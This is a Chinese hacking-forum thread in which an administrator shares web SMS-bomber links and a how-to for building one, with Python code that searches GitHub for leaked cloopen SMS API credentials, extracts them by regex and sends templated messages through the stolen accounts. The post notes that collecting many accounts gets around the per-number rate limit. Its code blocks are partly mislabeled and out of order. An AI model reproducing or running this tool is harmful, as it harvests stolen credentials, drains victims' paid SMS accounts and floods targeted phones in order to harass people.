7 人签到
    搜索
    Hi~登录注册
    查看: 9045|回复: 434
    收起左侧

    【你们喜欢的】短信轰炸机(网页版)+自制原理2018年11月1日

      [复制链接]

    457

    主题

    4

    精华

    592 小时

    在线时间

    管理员

    积分
    407
    发表于 2018-11-1 21:59:47 | 显示全部楼层 |阅读模式
    干货!

    先上几个网页版的短信轰炸机(不存在任何打广告 只是给大家分享出来 具体效果各位自测  效果截图可以在下面回复里放出来)

    【↓网页版回复可见在线轰炸地址↓】
    【具体效果自测好的话回复分享截图】
    游客,如果您要查看本帖隐藏内容请回复

    【另外附上两条轰炸开放接口 效果请自测】
    游客,如果您要查看本帖隐藏内容请回复

    短信轰炸机就是个批量发送短信的恶作剧软件,其危害可大可小。试想一打开手机就papa弹短信提示,费电不说还把有用短信给埋起来,挺恶心人的。而且它也可以用作黑产,很久之前就听说有黑客用垃圾短信轰炸受害人手机,将盗刷短信埋在垃圾短信里。
    近两年很少看到有相关的新闻,但并不能说明这东西就少了。由于国家要求一些网站提供服务必需实名制,导致网站注册大部分都需要手机验证码,所以笔者猜测这些短信接口有不少可能已经被做成了短信轰炸机。
    另外由于很多开发者,尤其是刚入职的新人,倾向于将公司的代码上传到自己的github上,不仅侵犯了代码的知识产权,还将公司的敏感数据泄漏了。这篇文章的切入点就是从github上搜索泄漏的短信接口账号信息。
    下面我将使用github搜索到的短信服务账号制作一个简单的短信轰炸机。
    轰炸机主要有两个模块:短信发送、搜索账号。发送短信根据短信接口文档得到;搜索账号通过搜索github并从中提取账号信息。


    1. 短信发送接口
    短信发送这里使用的是cloopen的服务。

    首先得吐槽下cloopen的文档与py的sdk代码写得是真不咋样。笔者只得重写了一部分接口代码(查看账户、查看templateId, 发送短信),一些返回字段得测试后才能知道其含义。主要代码如下

    [AppleScript] 纯文本查看 复制代码
    https://boom.nange.cn/index.php?hm=

    2. 搜索github,查找可用账号
    根据cloopen的开发文档,要发送短信需要有:accountSid, accountToken, appId, templateId。前两个字段是注册后平台提供给用户,用于调用api时进行认证。templateId是短信模板id,但可以通过接口取得该账号下的所有短信模板,所以只需要在github中抽取前三个字段就可以了。

    搜索github使用python的github库进行,代码不复杂。另外github速度太慢,所以使用了gevent。

    [AppleScript] 纯文本查看 复制代码
    <script src="http://www.duanxinhongzhaji.com/"></script>

    搜索后通过正则提取相关字段。

    [AppleScript] 纯文本查看 复制代码
    class Cloopen:
        URL = 'https://app.cloopen.com:8883/2013-12-26'
    
        def __init__(self, sid, token, appid):
            self.sid = sid
            self.token = token
            self.appid = appid
            self.template_ids = []
            self.balance = 0.0
    
        def load_valid_template_ids(self):
        	"""加载可用短信模板"""
            if self.template_ids:
                return self.template_ids
            resp = self.query_sms_template('')
            if resp['statusCode'] == '000000':
                self.template_ids = [d['id'] for d in resp['TemplateSMS'] if d['status'] == '1']
                return self.template_ids
    
        def send_sms(self, recvr, template_id, * datas):
            body = {'to': recvr, 'datas': datas, 'templateId': template_id, 'appId': self.appid}
            return self._send_request("/Accounts/" + self.sid+ "/SMS/TemplateSMS", body=json.dumps(body))
    
        def query_sms_template(self, template_id):
            """
            查询短信模板
            :param template_id 模板Id,不带此参数查询全部可用模板
            """
            body = {'appId': self.appid, 'templateId': template_id}
            return self._send_request('/Accounts/' + self.sid + '/SMS/QuerySMSTemplate', json.dumps(body))
    
        def query_account_info(self):
            return self._send_request("/Accounts/" + self.sid + "/AccountInfo")
    
        def _send_request(self, path, body=None):
            # 生成sig
            ts = datetime.datetime.now().strftime("%Y%m%d%H%M%S")
            signature = self.sid + self.token + ts
            sig = md5(signature.encode('utf-8')).hexdigest().upper()
            # basic auth
            req = Request(Cloopen.URL + path + "?sig=" + sig)
            req.add_header('Authorization', b64encode((self.sid+':'+ts).encode('utf-8')).strip())
            req.add_header('Accept', 'application/json')
            req.add_header('Content-Type', 'application/json;charset=utf-8')
            if body:
                req.data = body.encode('utf-8')
            with urlopen(req) as resp:
                return json.loads(resp.read().decode('utf-8'))
    
        def __str__(self, *args, **kwargs):
            return 'Account: {sid: %s, token: %s, appid: %s, template_ids: %s, balance: %.2f}' % \
                   (self.sid, self.token, self.appid, str(self.template_ids), self.balance)
    
        def __eq__(self, other):
            if isinstance(other, self.__class__):
                return self.sid == other.sid
            return False
    
        def __hash__(self, *args, **kwargs):
            return hash(self.sid)

    搜索后还要过滤有效的账号,这里只保留有余额且有template_id的账号。

    [AppleScript] 纯文本查看 复制代码
    def search_all(keyword, max_page=10, greenlet_count=3):
        """
        通过协程并发搜索
        :param max_page 最大页数
        :param greenlet_count 协程数量
        """
        paging = client.search_code(keyword)
        total_page = min(max_page, paging.totalCount/20)
        tasks = Queue()
        for i in range(1, total_page+1):
            tasks.put(i)
        accounts = set()
    
        def _search():
            while not tasks.empty():
                try:
                    page_no = tasks.get()
                    logging.info('正在搜索第%d页' % page_no)
                    contents = map(lambda x: x.decoded_content.decode('utf-8'), paging.get_page(page_no))
                    accounts.update({Cloopen(*p) for p in map(extract, contents) if p})
                except Exception as err:
                    logging.error(err)
                    break
        import gevent
        gevent.joinall([gevent.spawn(_search) for _ in range(greenlet_count)])
        return accounts

    3. 发起攻击
    cloopen出于安全考虑对于同一个号码发送相同短信要间隔30秒,但如果收集的账号足够多,这个限制也没多大用处,发送的代码如下


    [AppleScript] 纯文本查看 复制代码
    def extract(content):
        """
        从搜索结果中抽取字段
        """
        # 提取主要字段
        def search_field(keyword_and_pattern):
            keyword, pattern = keyword_and_pattern
            for line in content.split('\n'):
                if re.search(keyword, line, re.IGNORECASE):
                    match = re.search(pattern, line)
                    if match:
                        return match.group(0)
    
        account_sid, account_token, appid = map(search_field, [('sid', '[a-z0-9]{32}'),
                                                               ('token', '[a-z0-9]{32}'),
                                                               ('app.?id', '[a-z0-9]{32}')])
        if all([account_sid, account_token, appid]):
            return account_sid, account_token, appid

    4. 效果
    简单测试了下代码,发现效果有点超出预期。

    【你们喜欢的】短信轰炸机(网页版)+自制原理2018年11月1日



    上一篇:苹果免越狱iPhone XS Max源码(装逼贩子)
    下一篇:#udp53#利用vps强行绕过校园网登陆
    回复

    使用道具 举报

    457

    主题

    4

    精华

    592 小时

    在线时间

    管理员

    积分
    407
     楼主| 发表于 2019-4-10 18:39:35 | 显示全部楼层
    dwzxhui 发表于 2019-4-10 12:52 PM
    上面一个短信轰炸的软件估计已经凉了好久了  不知道老哥这个还能不能用。。 ...

    可以关注这篇帖子的
    https://bbs.secgeeker.net/thread-973-1-1.html
    回复 支持 1 反对 0

    使用道具 举报

    0

    主题

    0

    精华

    2 小时

    在线时间

    新手上路

    Rank: 1

    积分
    3
    发表于 2019-4-10 12:52:29 | 显示全部楼层
    上面一个短信轰炸的软件估计已经凉了好久了  不知道老哥这个还能不能用。。
    回复 支持 反对

    使用道具 举报

    0

    主题

    0

    精华

    0 小时

    在线时间

    新手上路

    Rank: 1

    积分
    1
    发表于 2019-4-2 19:24:01 | 显示全部楼层
    66666666666666666666666666666666666666
    回复 支持 反对

    使用道具 举报

    0

    主题

    0

    精华

    0 小时

    在线时间

    新手上路

    Rank: 1

    积分
    7
    发表于 2018-12-24 02:22:57 | 显示全部楼层
    66666666666666666666看看看能不能用
    回复 支持 反对

    使用道具 举报

    0

    主题

    0

    精华

    0 小时

    在线时间

    中级会员

    Rank: 3Rank: 3

    积分
    386
    发表于 2018-11-1 22:12:59 | 显示全部楼层
    非常好啊{:5_144:}
    回复 支持 反对

    使用道具 举报

    0

    主题

    0

    精华

    0 小时

    在线时间

    新手上路

    Rank: 1

    积分
    43
    发表于 2018-11-1 22:32:19 | 显示全部楼层
    谢谢分享认定的淡淡的
    回复 支持 反对

    使用道具 举报

    0

    主题

    0

    精华

    0 小时

    在线时间

    新手上路

    Rank: 1

    积分
    7
    发表于 2018-11-1 22:40:07 | 显示全部楼层
    66666666666666666666
    回复 支持 反对

    使用道具 举报

    0

    主题

    0

    精华

    0 小时

    在线时间

    新手上路

    Rank: 1

    积分
    126
    发表于 2018-11-1 22:40:14 | 显示全部楼层
    sadfgsaegdrtewrtwqrfew
    回复 支持 反对

    使用道具 举报

    0

    主题

    0

    精华

    0 小时

    在线时间

    中级会员

    Rank: 3Rank: 3

    积分
    413
    发表于 2018-11-1 22:54:52 | 显示全部楼层
    打赏。。可以值得一看的好文
    回复 支持 反对

    使用道具 举报

    0

    主题

    0

    精华

    0 小时

    在线时间

    新手上路

    Rank: 1

    积分
    26
    发表于 2018-11-1 22:54:53 | 显示全部楼层
    非常好啊{:5_144:}
    回复 支持 反对

    使用道具 举报

    0

    主题

    0

    精华

    0 小时

    在线时间

    中级会员

    Rank: 3Rank: 3

    积分
    373
    QQ
    发表于 2018-11-1 22:54:57 | 显示全部楼层
    88Hack Team
    回复 支持 反对

    使用道具 举报

    0

    主题

    0

    精华

    0 小时

    在线时间

    新手上路

    Rank: 1

    积分
    5
    发表于 2018-11-1 23:56:34 | 显示全部楼层
    感谢楼主分享
    回复 支持 反对

    使用道具 举报

    游客
    回复
    您需要登录后才可以回帖 登录 | 获取账号

    快速回复 返回顶部 返回列表